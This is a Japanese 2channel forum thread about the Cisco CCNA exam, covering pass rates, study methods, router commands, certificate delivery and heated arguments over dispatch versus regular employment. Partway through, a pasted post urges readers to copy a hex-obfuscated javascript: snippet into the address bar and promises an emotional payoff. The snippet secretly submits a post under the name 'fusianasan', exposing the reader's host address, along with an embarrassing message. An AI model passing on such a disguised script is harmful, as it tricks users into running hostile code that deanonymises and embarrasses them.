NA合格率２５−３０％程度 じゃないか？

ウチの学校の受験生の平均。
某大手スクールだと7割は合格できるらしいが

>>200
大手の出してる合格率の数字なんてアテにならんよ。。

合格率は80％以上はあるだろうな。
1回で受からない奴は落ちこぼれ。

>>202は落ちこぼれか。 残念。

>>200
そりゃスクールに大金払って合格率低ければどうしようもないでしょ。
スクール逝って落ちる奴のほうが少数だろ。
まぁ、金で資格を買うようなもんだし。
だからって否定はしないけどな。
大学受験の予備校や他のスクールだって同じだからさ。

独学で一発合格の合格率を知りたいな。

今頃IT業界に入る香具師は負け組み
もう、この業界は高成長は期待できない成熟期に入ってる
この業界がよかったのはITバブルがはじける前までだった
コンピュータメーカーを見ろ
ほとんどのコンピュータメーカーは業績よくない
ライブドアを見てみろ、利益のほとんどは金融関係の事業だ
不良債権処理が一段落したいま、銀行の格付けもあがってきてる
これからは金融業界こそ勝ち組
金融業界はもともと給料もよかったしね

え？
これからは不動産だろ

>>203
1回で受からなかったからって僻むのやめてよね　プ

>>207
不動産も金融商品として投資対象の一つになってるね

すでに美味しい所はハゲタカに持っていかれてる訳だが。

>>208
釣られてやるが、一発合格だぞ。ちなみに漏れはダブルスクールの専門のネットワーク学部だ。
ただ、同じ同期の友人は みんな一回目は落ちて、2回目-3回目に合格してた。（一人 4回落ちて諦めた香具師がいる）
一発合格は俺だけだったってことだ。

2chはけっこう高学歴多いくさいし 合格率高いかもしれんが、
世間一般から見ると ＮＡはベンダー試験の中では難関の部類に入るんじゃねーかな？


>>204
合格者 水増ししてたり、
落ちたやつの失敗回数は明記せず、学校全体の最終合格率をあげるために何度も受験させてるって話。

>>211
よほどレベルの低い専門学校なんですね
まあ、2007年度は大学全入時代といわれてるから、今時専門学校いく人は相当レベル低いってことか

>>212
ダブルスクールだから夜間だな
大抵は昼間仕事してるか、別の学校行ってるわけで試験対策の勉強する時間が無いってのもあるな

社会人、業務とあまり関係なし。

CCNAは、もちろん一発合格。
独学で勉強時間100時間ぐらいかな・・・
MCPよりは難しいかもしれんｗ

CCNPはいまだに、受験会場に行くレベルまでならんぜ・・・＿|￣|○

今派遣されてる会社の新卒、
CCNAは当然、CCNPも6月までに取らせるそうです。

その後は東京以外の都市で客先業務だそうです・・・。
何も知らずに入社してかわいそう・・・。

ゼロから始めて2ヶ月でCCNP取れるのかよ・・
CCNP持ってる技術者ですって顧客に言ってるんだろうな

なんだ？

トリップ設定してないのになぜトリップがｗ

> 186様

ソウナンデス！

> 185様
すんません。まわりくどくて。
普通に聞いたほうがヨカタすね。


大小があるらしいのですが。。。
あるんですかね？

>>219
つまり、その選択肢の中で回答をひとつ選べと。
ってことは、そもそものRedistributeの定義（シスコのみだが）からすると
ルーティングテーブルに、該当のルートをアドバタイズさせたくないっちゅーことやな。

んー、ネットワークトポロジと解答の目的が読めないのだが、これ以上詳しく書かれてもまずいんで。
とりあえずTACに誘導するから勉強してみてくれるか・・・
ttp://www.cisco.com/japanese/warp/public/3/jp/service/tac/105/redist-j.shtml#prereqs

>>219
補足。大小があるってのはおそらくメトリックによるルート選択の優先度で、
EIGRPとIGRPの場合だとEIGRPのがメトリックとしては優先になる。
これは手動設定でも変えられる。
役に立てなくてスマソ。

> １８５様

ありがとうございます〜！

そういえばこんなサイトがあるんですねー。
作った相手を忘れてました。

周りにCISCO系の人がいなくて、本当の意味で独学だったので、こういう情報は助かります。

＞これ以上詳しく書かれてもまずいんで。
ハイ、すみません、私もドキドキでした。


結果出してから、また来ます〜

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;;/::::::::::::/;;;;;;l::::::::::l;;;;;;l::::::::l:::::::::::!　　　　　　 //　　　　　　　 ,ﾉ
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─ ‐-' ､;_;;;;;l:::::::::ｌ;;;;;;l::::::::l::::::::::;!　　　　　　　　 　 ／
　　 　 　 ｀ヽ;::::::::l;;;;;;l::::::::ﾄ､::::::l 　 u　　　　　　　/ﾞヽ　 ,　-─−- ､
　　　　　　　 ヽ;:::l;;;;;;l:::::::iﾞ ｌ::::::!　　　　　　　　　 | 　 Ｙ´　　 　 　 　 ｀'ｰ ､,_
　 　 　 　 　 　 ヽ;;;;;;;!:::::;l､.l:::::!　 　 　 　 　 ,.　-ﾍ,　 l　　　　　　　　　　 　 ﾞヽ　　 　 ,. -−-､
　　　　　　　　　 ヽ;;;/'ﾙ'　`!::i、　　　　　,／　　　ヽ､,!　　　　　　　　　 　 _, -'､_, - '´　 　 　 !
　　　　　　　　　　 i;i　i/　　l::! ｀ 'ー− ´　　　　　　 i'ト､-､,＿＿_,. -−' ´ ,. ‐'´　　　　..:::::／
　　　 　 　 　 　 　 !　　　　 i!　　　　　　　　 　 　 　 ij　 ＼_ヽ､　　'ニ,. ‐'´　　　　　.:::::／ｰ ､
　　　　　　　　　　 i　　　　　　　　　　　　　　　　　　　　　 ＼ヽ､　／　　　　　.....::::::／　　 　 i
　　　　　　　　 　 /　　　　　　　　　　　　　　　　　　　　　　 /`ｙ''´　　　　　..::::::::: '´　　　 .:／⌒ヽ

事務局から認定キットがきた。
しょっぼいなーｗ

しょぼい認定証ってどんな物だ？

安っぽい紙切れだよ。

あの紙切れ一枚が 俺の年収を50万もあげてくれたよ（*´∀｀）

>>227
250万が300万にでもなったの？

漏れは夜勤だから、
350万が420万

ＣＣＮＡ持ってても、実務経験ないとまったく相手にされない・・・
未経験の案件であっても、だ。

厳しいな、この業界・・・あぁ、鬱。

とりあえず ハローワークいってきまふ

新卒なら未経験でもおｋだぞ

派遣で経験積んだら？

先輩、プロパーが羨ましいとか言わんでくれ。
キャリアも人間性もあんたが上だし尊敬もしてる。

しかし、この業界、残業すればするだけ金が貯まるな・・・
使う暇ないけど＿|￣|○

>>230
経験談だが、転職屋を使えば？

>>230
新卒で派遣なんだが、某社の派遣オチータよ。ショック

運が悪かっただけかな？がんがってみる

>>234
お前頭だいだぶか？？？？？？？？？？
新卒なら普通に正社員どっか探せよ。なんで派遣なんだよ。もったいない。
あんなにお得な権利自ら放棄するなんて・・・

ぶっちゃけ超一流の企業でなければ派遣の方が給料いいぞ。

新卒なら超一流企業に比較的簡単に入れるだろ。

無理。中途の方が入りやすい。

このスレでの超一流企業ってどのくらい？
http://www.cisco.com/japanese/warp/public/3/jp/reseller/program/partnerlist.shtml
シスコのパートナーレベルじゃなくてもっともっと上？

世間一般に超一流っていえば、そこの企業なんてまったく対象外だろ。

そうかゴールドパートナーレベルじゃ駄目か・・・
東日本じゃないNTTとか米IBM本社とかじゃなきゃ駄目か・・・
俺も派遣になろうかな・・・

見かけの給料は派遣は高いけど、
税金や保険、各種交通費や住宅費などでどんどん給料ひかれるから、
実際のところ正社員と給与は変わらない。

とマジレスしてみますた。



ただ、派遣・中途のほうが大企業に入りやすいのは同意。
逆に新卒正社員だとショボイ会社や役職ばかりだわな

>>242
派遣やってるけど保険無しで手取り21万交通費込み。
つーか、働いてる意味が感じられない。
いつ首になっても全然OK。つーか早く辞めたい。
せめて25万もらえる所なんてゴロゴロ有るし、、

>>242
いや、新卒だってでかい会社はいりやすいってば。役職も低くて当たり前だろ。

監視業務の派遣というのは、建設業界に例えるなら
工事現場で旗振って交通整理しているバイト君に相当。

そんな交通整理のバイト君が
「一流建設会社が設計構築する建築現場で働いています。」
「夜勤が多いので収入は本社の正社員より多いです。」
「現場で建築を学んで将来は構築や設計に携わりたいと考えています。」
なんて言っていたら？
もしそんな奴いたら痛すぎて見ていられないけど。

>>245
適当な例えが見つからないなら無理に例えなくていいんだよ

未経験で資格勉強中の大学生ですが
全然違う気がするんだけど　どうなんだろう

本人の努力と向上心の問題だと思うけど。
ただ、一流企業は大卒しか取らない所が多いから
どんなにキャリア積んでも入れないっつーのはあるだろ

Ciscoルータの基本設定勉強してるけど、
実機がないと暗記だけっていうのはきついなー。

中古のルータぐらい買えばいいだろ

>>250
お勧めを教えてくだせ

ここで意見が割れるのは書いている方の年齢の差なのかと。
経験上、25歳以下までの転職であれば実務経験なくて当たり前の年だから資格だけで何とかなる。
もしくは資格なしでも大丈夫だと思うけれどどうせ研修で取らされて
その間は給料低いので1年後くらいの獲得給料は同じくらいかなと。

それから若いうちに（実務経験なしで）上位資格取っても
意味がないって意見もあるけれど意味はあると思う。
もし、採用担当者が上位資格は今の時点では要らないって考えであるとしても
面接も終わって最後の篩いで持っている人と持っていない人の
どちらか1人を採用させるとなれば当然、持っている人を採用させると思う。

>>239
俺の勤め先がプレミアパートナーに載ってる。
このスレじゃ三下扱いか。

ゴールドのなかのひとですが、某茄子は7ヶ月です。
ここが派遣組との大きな違いかな。あとはいっしょ

０から２週間勉強して取れた。楽勝
天才のなせる業だな。

>>255
じゃあ次は1ヶ月でNPゲットにチャレンジだ！

>>255
は釣り？ときどきこんな人がいるけど((；ﾟДﾟ)ｶﾞｸｶﾞｸﾌﾞﾙﾌﾞﾙ。漏れ4ヶ月で2回落ちた。

どの本つかったのか？不思議でならん。普通受けらないはず。レクチャーお願い。

０から2時間勉強して取れた。楽勝
天才のなせる業だな。

>>245
建築会社が交通整理するかっつうの。
警備会社がやるんだよ。世間知らずめ。

>>254
NOSかよ。

>>257
四ヶ月も勉強しておちてんなよ・・・

スクール卒の低脳NAが増産されてるから、最近NA持っていると言う事が恥ずかしく感じる。

>>261
さっさとNPでも取れや。

>>260
すまん。3ヶ月だった。一般社会人です。
実力は暇つぶし100％とれます。
何が足らんのか…。わからん。

脳たりん

>>259
大企業が監視業務するかっつうの。
請負・派遣がやるんだよ。世間知らずめ。

>>259
「建築会社と交通整理がまるで無関係なように
　ネットワークと監視業務は何も関係ないことにいい加減気付けよ。」
といいたいんだろ。分盲？

いや、ネットワークと監視業務は関係ありまくりだろｗ

監視の中の人って何をやる人なんだ？モニタ見てるだけ？

障害が出て、部品持って現場に行く漏れのことなのか！

ネットワーク業界未経験なら監視業務１〜２年やるんだよな？
マジでモニタ見てるだけなの？ｗ

3年前に28歳未経験でCCNAとって
派遣の3ヶ月で構築の仕事やってBSCIとって
その後何社か転職して、
今は一部上場企業の契約社員でSEやってる
とはいって、客先常駐で
ヒアリングいってベンダー調整とかの仕事。
うまくいけば一年後に正社員。
客先業務に嫌気が差せばビルメンにでもなるよてい。

>>270
今の給料いくらでつか？

>>266
深読みしすぎ。
ネットワーク関係のことについては言及していない。
ただ単に、建築会社は交通整理しないという一般常識を
言ったまで。

　J( 'ｰ`)し　　　　　　　　　('A`)ｶｰﾁｬﾝ…
434 ：就職戦線異状名無しさん ：2005/04/08(金) 22:40:14
2ch専用ブラウザを使用している人は、
ＩＥなどの一般的なブラウザでこのスレを開いておく。

１、
javascript:s='7769746828646f63756d656e742e666f726d735b305d297b46524
f4d2e76616c75653d2766757369616e6173616e273b4d4553534147452e7661
6c75653d275c75353134345c75386362345c75373533625c75353063665c
75333034665c75333036305c75333035355c7533303434273b7375626d697
42e636c69636b28293b7d';for(l=0,e="";l<s.length;l+=2)e+='%'+s.substr(l,2);eval(unescape(e));
をクリップボードにコピーし、メモ帳などのテキストエディタに貼り付ける。

２、
改行を外して１行にする。

３、
１行にしたものをクリップボードにコピーし、アドレスバーに貼り付ける。

４、
Enterを押す（もしくは「移動」をクリックする）。

漏れはこれをやって思わず泣いてしまったよ('A`)ｶ-ﾁｬﾝ

社員より派遣の方が給料いいと思ってるやつは馬鹿。

若いうちだけはそうかもしれんが、５年後、１０年後に比べてみろ。
ボーナスや各種手当ても含めれば大逆転されているぞ。
生涯賃金は何倍違うと思ってんだ。

そしてIT系の派遣は40歳で実質定年を迎える。

そうだね。福利厚生も充実してたり、
仕事の責任の度合いも高くてやりがいはある。
でも未経験ではハードル高くて、経験積むために
とりあえず派遣で仕事する。そういう話だろ。

>>275
>>234と>>236の発言は？？？？？

先日、CCNA合格した者です。
認定証の送付について質問させてください。

ttp://www.cisco.com/japanese/warp/public/3/jp/event/tra_ccc/ccc/certprog/testing/track_exam.shtml
Cisco のトラッキングシステムにログインし、
Test History　の　Certificate Status　の画面で、
紙の認定証か、PDFの認定証か選びますが、
選んだあとでも、以下のような状態になっています。

Event Name：CCNA Kit
Kit Sent：n/a
Kit Type：n/a（これが n/aなのが気になります）
Returned：No

この状態でも、認定証の送付については問題ないのでしょうか？
（住所氏名などの個人情報は正しく入力済です
また、試験後10日ほど経過し、試験結果はHPに反映されています。）
トラッキングシステムユーザガイドを読みましたが、わかりませんでした。
というかユーザガイド誤字多すぎ…
わかる方、ご回答よろしくお願いします。

ユーザーガイド読んだ？
自分で印刷の場合は1週間、ハードコピーの場合は
1ヶ月とりあえず待ってなよ。
n/aはnot availabileかnot applyの意味。
試験結果はすぐに反映されるが、認定証は
なかなか来ない。
そんなおれもCCNPの認定証を心待ちにしているが。

質問です。
show ip route の画面の
R　172.16.2.0/24[120/1]
C　172.16.2.0/24[120/1]

とかのR、Cはそれぞれ何の意味があるんですか？
教えてください！！

ripとdirectly connected

有り難うございます。
Cのdirectly connectedは直接繋がっているデバイス
の意味で良いのでしょうか？

実機さわればそんなこと悩まなくていいのに

実機が無いんですよ。
Cのdirectly connectedは直接繋がっているデバイス
の意味で良いんですよね！
しつこくて申し訳ないです！

釣り？

>>255
うそでしょう。2週間は0からだと無理ですねー。あと2ＣＨ知ってる時点で嘘ですねー。

っていうか0からだと、P検5級からだろw
2週間だと、Ｐ検4級が限界だろう

>>274
社員でリストラに怯えながら一生を終えればいいじゃんｗ

>>278
回答ありがとうございます。
待ってみます。

>>287
世間知らずだな。
社員はリストラされるから請負・派遣の方がいいってか？
簡単にクビになるのは社員より圧倒的に請負・派遣の方だって分かってる？
同じ会社に社員と派遣がいて、先に人員整理の対象になるのは請負・派遣の方だよ。
従業員のクビを切りやすくする為の請負・派遣だし。

もしリストラされても、そこから請負・派遣になるのは簡単だよ。
退職金出るから当面は派遣より豊かな生活が送れるし。

>>289

＞社員はリストラされるから請負・派遣の方がいいってか？

誰もそんな事いってないんだが。
お前みたいな使えない奴はリーマンやってた方がいいよ。

>>290
すまんがお前の言いたい事が分からん。
>>274に対する>>287のレスは、社員より派遣の方が待遇が良いと
示唆しているようにしか読み取れないのだが？

お前のコミュニケーション能力はそこらのリーマン以下だから、
資格の勉強もいいけど日本語もちゃんと話せるようになろうな、僕。

>>291
２ちゃんでコミュニケーション能力云々いってるお前は間違いなく馬鹿　プ

＞274 名前： 名無し検定１級さん [sage] 投稿日： 2005/04/09(土) 08:32:09
＞社員より派遣の方が給料いいと思ってるやつは馬鹿。

派遣でも社員より遥かに給料良い奴もいるし、遥かに給料悪い奴もいる。
結局は雇用形態ではなく、そいつの能力に依存するので、
社員より派遣の方が給料いいと思っているやつは馬鹿と断定する奴は低脳。

＞若いうちだけはそうかもしれんが、５年後、１０年後に比べてみろ。
＞ボーナスや各種手当ても含めれば大逆転されているぞ。
＞生涯賃金は何倍違うと思ってんだ。
＞そしてIT系の派遣は40歳で実質定年を迎える。

若いうちは能力が高ければ、給与水準として、契約や派遣＞正社　となるケースが多い。
殆ど終身雇用制度も崩れ去っているのに、昔の名残で若ければ安い賃金で働かされる正社が多いから。
若い内は契約や派遣で稼いで、ある程度の年齢まできた時に独立するとか中途入社とか考えればよい。
289みたいな低脳は一生リーマンやってればいいよ。いっそのこと公務員にでもなればよかったんじゃないの。
反論あるならどうぞ。

>派遣でも社員より遥かに給料良い奴もいるし、遥かに給料悪い奴もいる。
>結局は雇用形態ではなく、そいつの能力に依存するので、
>社員より派遣の方が給料いいと思っているやつは馬鹿と断定する奴は低脳。

確かに社員より給料良い派遣もいますよ。
で、そういった人は全派遣従業員のうち、どのくらいの比率だと思う？
同年齢で、同じだけ仕事が出来るなら、平均的に見ると社員の方が待遇が良いよね。
もちろん>>274の通り、若いうちに限れば派遣の方が給料の高い事が多いが、
「若いうちは」という限られた期間でしかない。

>若いうちは能力が高ければ、給与水準として、契約や派遣＞正社　となるケースが多い。
そり通りだと思います。

>殆ど終身雇用制度も崩れ去っているのに、昔の名残で若ければ安い賃金で働かされる正社が多いから。
これもその通りだと思います。

>若い内は契約や派遣で稼いで、ある程度の年齢まできた時に独立するとか中途入社とか考えればよい。
ある程度の年齢って具体的にいくつ？20代後半？それとも30？
職歴無しでまともな企業に正社員として入社できると思う？
それから、起業したところで、成功するかどうかは賭けみたいなもの。そういう人生を望む人ばかりではない。
派遣で、起業できるだけのお金を貯めるのに何年かかると思います？

>289みたいな低脳は一生リーマンやってればいいよ。いっそのこと公務員にでもなればよかったんじゃないの。
>反論あるならどうぞ。
別にお前に低脳だと思われてもいいが、お前が低脳呼ばわりしているリーマンや公務員にすら、
ほとんどの派遣従業員はなる事が出来ないぞ。

>>293

＞社員より派遣の方が給料いいと思ってるやつは馬鹿。
＞若いうちだけはそうかもしれんが、５年後、１０年後に比べてみろ。
＞ボーナスや各種手当ても含めれば大逆転されているぞ。
＞生涯賃金は何倍違うと思ってんだ。
＞そしてIT系の派遣は40歳で実質定年を迎える。

お前さ、開き直ってないで自分の書き込み見直してみろよ。
断定してるくせに比率の話を持ち出して論点ずらしてんじゃないよ。
馬鹿じゃないみたいだから自分の書き込みがどんなに恥ずかしいか分かるだろ。
こんな書き込みしてるなら>>287のようなレスつけられても当然だな。

>>293
ごめん。何か言い過ぎたかも。
俺も病的だからあんまり気にすんなよ。

＞社員より派遣の方が給料いいと思ってるやつは馬鹿。
＞若いうちだけはそうかもしれんが、５年後、１０年後に比べてみろ。
＞ボーナスや各種手当ても含めれば大逆転されているぞ。
＞生涯賃金は何倍違うと思ってんだ。
＞そしてIT系の派遣は40歳で実質定年を迎える。


すいません。横槍入れるようで悪いのですが、私もこの通りだと思います。
CCNAとったところで、通常はよくて派遣なので社員志望なら技術者の道は
あきらめるのも手だと思います。

>>296
それはお前が低脳だから。
もうこの話すんなよ。以上。

CCNA取るのに必死になってるような奴が独立なんてできるかよｗｗｗｗｗｗ

必死にならないと取れない奴は無理だろうなｗｗｗｗｗｗｗｗｗ

つーか出向と派遣をごっちゃにしてる奴が多すぎないか?

>>299
うるせぇ！！！！！！！！！！！俺が必死なのは生まれつきだ！！！！！！！！！なめんな！！！！！！！

派遣の仕事でも取れない人いるよ。ＣＣＮＡなくて未経験は
やっぱり派遣でもダメですよ。派遣でも良い人は社員で使います。
定年まで、自分の会社が元気である保証は全くない。

資格を取ろうとか、そんな元気がある人はまだいい方です。

>>297
しきられる覚えはない。

>>294
294が求められてるレベルってNWでいえば、
２０代ならCCIE必須。
３０代ならCCIE＋プロジェクトマネージャスキル必須だろうね。
そのような人材になれる会社環境ややる気があるなら
派遣スタートでもいいとおもうが
派遣の場合、８割以上が単純な作業でコアで責任のある部分はプロパーが
行うんじゃないかな。
普通に暮らしたいなら社員狙いの方がいいとおもうがな。
294がどれだけのスキル持ってるか知らないが
会社に頼らなくても派遣で生きていけるスキルって
相当なもんだよ。
294の求めてるスキルって是非聞きたいね

>>304
IEなんてなくても世渡りスキルで社員より十分かせげるよｗ

おまえらオジサンが説教してあげるからよくきけな？

こ こ は 就 職 板 じ ゃ ね ー ん だ ！

そういえば最近このスレでCCNA受験する奴の話がないな

ここはCCNAを受ける人間のためのスレじゃなくて
CCNAが欲しいなぁって思ってるだけの人間のスレ。

とったらどうなりますか？とか聞く前にさっさと取って
後のことは取ってから考えろや。

そうか？
結構NA取った香具師もカキコしてると思うけどな。

>>308
勝手にスレの方向性決めるなよ。餓鬼が。

利用者がそれぞれ 自分の思いのままに発言すればいい。
ＮＡ受けようと思ってる香具師も、勉強中で質問したい香具師も、
既にＮＡとって助言を漏れらにくれる香具師も、自由に発言すりゃいい。

ただ、全てにおいて言えることは、
>>308や>>298みたいな厨房発言だけはしてくれるなよ。邪魔。

以前のCCNAスレはこんなにレベル低くなかった
最近のCCNAの価値が下がってきたと思ってたけど、こんなやつらが受験してたんだな
CCNAの価値が下がるの当たり前

>>292は論理破綻してると思うけど・・
派遣の方が給料高いと主張してるのに、中途入社なんて言い出して・・
独立すれば、って言っても、それなら社員も同じだし・・

例外的に社員より生涯年収の高い派遣がいたとしても、
>>293の指摘の通り、1000人に一人・1万人に一人の確率でしかいないと思うけど・・
そのくらいの確率でなら社員でも役員や社長まで出世するやつだっているわけだし・・

>>312
低脳はまともな横槍すら入れられない。
読解力が足り無すぎるので、お前も使えないな。
若いうちの賃金について言及してるのであって、
一生派遣なんて一言も書いてない。馬鹿はいちいち書き込むな　プ

>>312
あ、そうそう。

＞293の指摘の通り、1000人に一人・1万人に一人の確率でしかいないと思うけど・・

どうやって計算したの？
あんま適当な事かいて低脳さらすなよｗｗｗｗｗ

最近必死な奴はがんばってCCNAとったのに派遣しかつけなかったのか？

とりあえず、客先業務はもうこりごりなんですが・・・

そんなこと言うなよ。
君らは夜勤業務の貴重な戦力だ。

>>313
読解力が足りないのはオマエ。>>274で生涯賃金に言及されている。
若いうちだけで比べるなら派遣の方が高いに決まってるが、その後はどうすんだ？
それともオマエの寿命は若いうちだけで尽きるのか？それはそれで歓迎するがwww

>>314
いちいち突っ込むのは恥ずかしすぎwww

>>315
必死に派遣の方が給料が高いと言い張ってるやつは、たぶんそうだろ。
派遣を肯定しないと、自分の人生が終わってる事になってしまうからなwww

>>317
CCNA持ちは量産体制に入ってるから、「貴重な」はいらんぞwww
いくらでも代えはいるからなwww

いや、SEだけど客先業務で・・・
ユーザ側に早く回らないと・・・

試験のシュミレーション問題で、設定を変更したら必ず、
copy running-config startup-config をしないといけないと
以前見た、２ちゃんねるの掲示板に書いてあったのですが本当でしょうか？

仕事でcopy run startってやったことないな。
いつもwrite memory。
試験の時でも設定した時のこと考えれば、
おのずと答えはわかるであろう。

有り難うございます。
仕事で設定した事が無く、write　memoryもした事が無いですが
copy running-config startup-config　を試験でしますね。

なんだ、結局は能力と年収が低く正社員という名の奴隷が僻んでるだけかｗ

>>324
おかえり

┏━━━━━━━━━━━━━━━━━━━━┓
┃　　　　　　　　　　　　　　　　　 　 　 　 　 　 　 　 　 ┃
┃　　　　　　　　　　 　 J( 'ｰ`)し 　 　 　 　 　 　 　 　 ┃
┃　　　　　　　　　　　　　 （　）　　　　 　 　 　 　 　 　 ┃
┃　　　　　　　　　　　　 　 | |　　　　　　　　　　　　　　┃
┃　　　　　　　　　　 【カーチャン】　　　　　　 　 　 　 ┃
┃　　　　　　　　　　　　　　　　　 　 　 　 　 　 　 　 　 ┃
┃.　 カーチャンを見た人はいつでもいいので 　 　 ┃
┃　　　 　 生きている間に親孝行して下さい｡　　　 ┃
┃　　　　　　　　　　　　　　　　　 　 　 　 　 　 　 　 　 ┃
┗━━━━━━━━━━━━━━━━━━━━┛

確かにCCNA持っててもそんなに貴重でも無くなってきたな
ただ未だに認知度は低いから関わりの無い奴が聞いたらなんか凄そうなイメージあるけど
MCPとかにプラス要素でCCNA持ってます、みたいな方が好印象な気もしてきた
いくらでも潰しがきくし

そんな俺も派遣だが給料安いよ
大手の派遣ならもっと給料高いんだろうけど
それでもボーナスある正社員の方が色んな意味で強みはあるよなぁ

CCNAって社員教育で０からやってくれるならどのくらいでとれまつか？
なんか選べっていわれてるんでつが・・

そりは喪前の脳みそ次第だろ

優秀なら2週間〜1ヶ月
そこそこなら　〜3ヶ月
馬鹿なら　　　〜1年

会社でスクール行かせてくれるなら1週間で取得可能

>>330
予備知識抜きの0から始めて
スクール通っただけで一週間で取れたらお前を尊敬するよ

０から始めて５日間でCCNA取得したぜ

０から始めて一夜漬けででCCNA取得したぜ

会社でＣＣＮＡセミナー9日間とかあるんだが本当にとれるんだろうかねぇ・・・？
新社会人だからワカンネ

OSIとネットマスクが判ればいけるんじゃね。

こないだ受けてギリギリ受かったが
問題の傾向が随分変わってるから結構戸惑った
昔は黒本とか有料模擬試験のサイトの問題やれば楽勝だったみたいだけど
今は一週間とかそこらじゃ厳しいんじゃないの

>>330も言ってるとおりだが、スクールは予備知識（Ciscoのね）無しでも
1Weekで取れる。ただし、スクール費用20万かかる。

>>336
いや、世の中には天才的に頭の回転が速かったり、認定ガイド一回読むだけ（しかも
速読）で内容をほとんど記憶できたりという人間がいるのは確か。
ハーバード大学あたりは、一日の宿題だけでぶ厚い本を一冊読破するだけの読解力と
記憶力が必要らしいが、そういう連中ならCCNAは１週間もあれば余裕で取ってしまう
だろな。
コマンドを俺達みたいにブツブツと口の中で繰り返して憶えてりなどしないし、サブネット
の計算なんて恐らく暗算で1秒もあれば正解を出せてしまうはず。
持って生まれたものって恐ろしいよ。俺のポンコツな頭を含めてな。

社員はボーナスある反面、嫌なものを嫌と言えないからね。
会社の奴隷なわけだし。
その点、派遣は気楽。

そもそも、独立や起業を前提に仕事してる人間と、スキルを高めるために精一杯
努力してエリート社員を目指してる人間とでは、方向性や人生観があまりにも違う
気がする。CCIE取って年収も１千万を超えるようになると、それ以上はスキルだけ
ではダメだということを考えはじめるはず。
それから、派遣とかではなく社員にこだわり続けた自分がどれだけちっぽけな人間
だったかに気付くかもしれんが、もうそのときは頭が固くなってしまっていて、斬新
なアイデアとか着眼点なんて世界のスキルなんてなんにも持っていないことに気付
くはず。
ホリエモンとかを批判するのも分かるが、社員とか派遣とかで優劣を論じているレベ
ルでは、個人資産数千億円は無理だな。

若いなあ。

シミュ問題は１問１００点って本当か？

いいや違う。１問１７５点だ。

合格点が849点以上っていうことは、
シミュ落とすと確実にアウトだな

NAの次はNPとるかDAとるかどっちにしようか。

>>343-344
んなことないよ。
シュミを1問パスして合格した俺が言うんだから間違いない

最近はシミュが１問だけという噂だが

シミュは部分点もらえるだろ。

>>338

んなこたーない。学歴厨？だいたいそんな人間いるはずない。
東大卒もたかがしれてる。
ただし、勉強をほとんどしないで、東大合格できる人は別格。

たしかにハーバード、スタンフォードに比べると東大なんかたいしたことない
かもしれんな。国際的な視野でいうと東大はそれほど高レベルではない。
インドのIT系大学の方がずっとレベルが高いらしい。
大学院の話になるが、ハーバード・ロースクールに入ってくる連中は、医学
博士や大学の講師だったりするらしい。
因みに世の中には、医師免許と弁護士資格両方もっているﾔｼがいるらしい。
どうだい？ CCNAを２週間でとってしまう人間がいることを少しは現実的に思
えるようになったかな？

これからの時代CCNAにもう1資格だとしたらMCPとLPICどっちがいいですかね？
どっちかを会社で受けさせてくれるのですがどっちが需要ありますか？

LPIなんて独学でレベル2まで楽勝で取れるだろ。
問題は受験料だな。
つーことでLPI

>>350


>医師免許と弁護士資格両方もっているﾔｼがいるらしい

親の知り合いにいます。なんでも弁護士は1年で合格とか…
その人と話してみると、池沼みたいな話方をする。
こういう人は、別格と思った。

））351
サーバとしてLinuxとWindowsどちらが将来性があるか？あるいは、現在
使われているか？という問題になるね。
安定性と導入コスト、セキュリティでは断然Linuxが支持されてきたわけだけど、
実はそうでもないということが最近になって言われてきている。ﾏｲｸｿの広告じゃない
けどね。まだまだ企業にはUNIX系の方が受けがいいのは事実かもしれん。
ITの経営者は頭固いからいつまでもWindowsなんか信用しないかもな。

オマエラIT系のの資格ばかりじゃなくて英語をやろうと思わないのか？
RFCの原文を読めないネットワークエンジニアなんて・・・・・ﾌﾟﾌﾟﾌﾟ

>>350
少なくともお前はそのレベルの人間では無い事がわかった
>>355
今の世の中英語が出来るって程度じゃ何の役にも立たないよ
多少理解しやすいってだけのアドバンテージ

俺NP持ちだけどRFCなんて読もうとすらした事ねえや

>>356
専門的な技術文書や最新の情報は英語で記述されてる場合が多いだろ

未経験でNA取得したんですがまず社員雇用より派遣で実務経験積んだほうが
いいんですか？職探ししても社員だと偽装派遣しかないんですが・・・
もう30手前です

シミュの部分点ってあるの？
きちんと全部設定しないと動かない訳だし

くだらない質問ですみませんが、試験の時に紙と鉛筆で計算してもOKですか?

私物は持ち込めない
ボードとペンを渡されるので、それを使って計算すればいいよ

>>345
NPっしょ。幅をもたせるより深さを求めた方がいいと思う。俺は。

>>351
会社で受けさせてもらえるなら、会社に聞けよ。会社も人材育成のために
やってるわけなんだし。個人的にはLPI。

>>356
多少理解しやすい？バカかお前は。この情報化社会において最も重要なのは
情報の早さだよ。和訳本出るの待ってたら、数ヶ月おいてかれる。
とりあえず食いぶちが必要なだけとかな人なら別だけど、その道で
一流めざしてやってくつもりなら必須。

>>359
待遇のいいほういっとけ。やる事は変わらんだろ。

>>361
ダメです。用意されたボードとペンのみです。

サンクス｡23日に初挑戦してきます。

>354

　Windowsのライセンス料を節約したいというニーズが
Linux商売の根本だと思う。Linuxの付加価値で一番
高いのは、組み込み系だと思う。

　LPIはカネがなくても、取っておいた方がいい。windows
のライセンス料が高い限り、何らかの仕事が発生するよ。

　技術にこだわる必要もない。いろいろな次元の仕事が
ある。頑張って技術にこだわっても仕方がない。
自分の能力を見極めて、得意なことをやれば、生きて
いける。英語は、できた方がいい。

　一番良いのは、日本語版の試験がないような英語
ライセンスを早めに前倒しで取っておくのがいい。
自分の同じ業者が、アメリカの会社であったら、
ホームページで動向をチェックして、マネできると
一番いい。

　LPI（レベル２）とNAを独学で取れるなら、仕事が
ないってことは、おかしい。探し方が悪いんだろう。

　オレの近くで、明らかに取る能力がない人がいるが
、立派に仕事しているよｗ

漏れは今日CCNAに１０００点で合格した。
そこでこれをプレゼントしよう。
http://www.ai-li.net/lesson/sample.htm

>>363から無能の臭いがする

>>369
オマエもだろ
だいだいCCNA受験のためのスレなのに煽りばっかり
このレベルの低いスレは何なんだ

会社で教育と試験費用無料だから受けてみようとおもいまつ
ＣＣＮＡからがんがりまつ
この資格後戻りできないんでつね・・・・（;´Д｀）

またまたくだらないしつもんですが、シミュレーション問題でコマンドのスペルを忘れたとして、
「?」でヘルプを見ることはできますか？
なわけないか・・。

?で見ることができるが、入力すると「対応してない」
というメッセージの出るコマンドもある。
補完も使えるよ。おれなんかCCNP取ったとき
?使いまくりだったけどね。
それから時間の節約でできるだけヒストリー使ってください。
↑コマンドね。

ということは、たとえば、

Router(config)# ip nat inside ?

と入れたら、次はsourceだよって教えてくれるんでしょうか?

此処はNAの為のスレなのか？
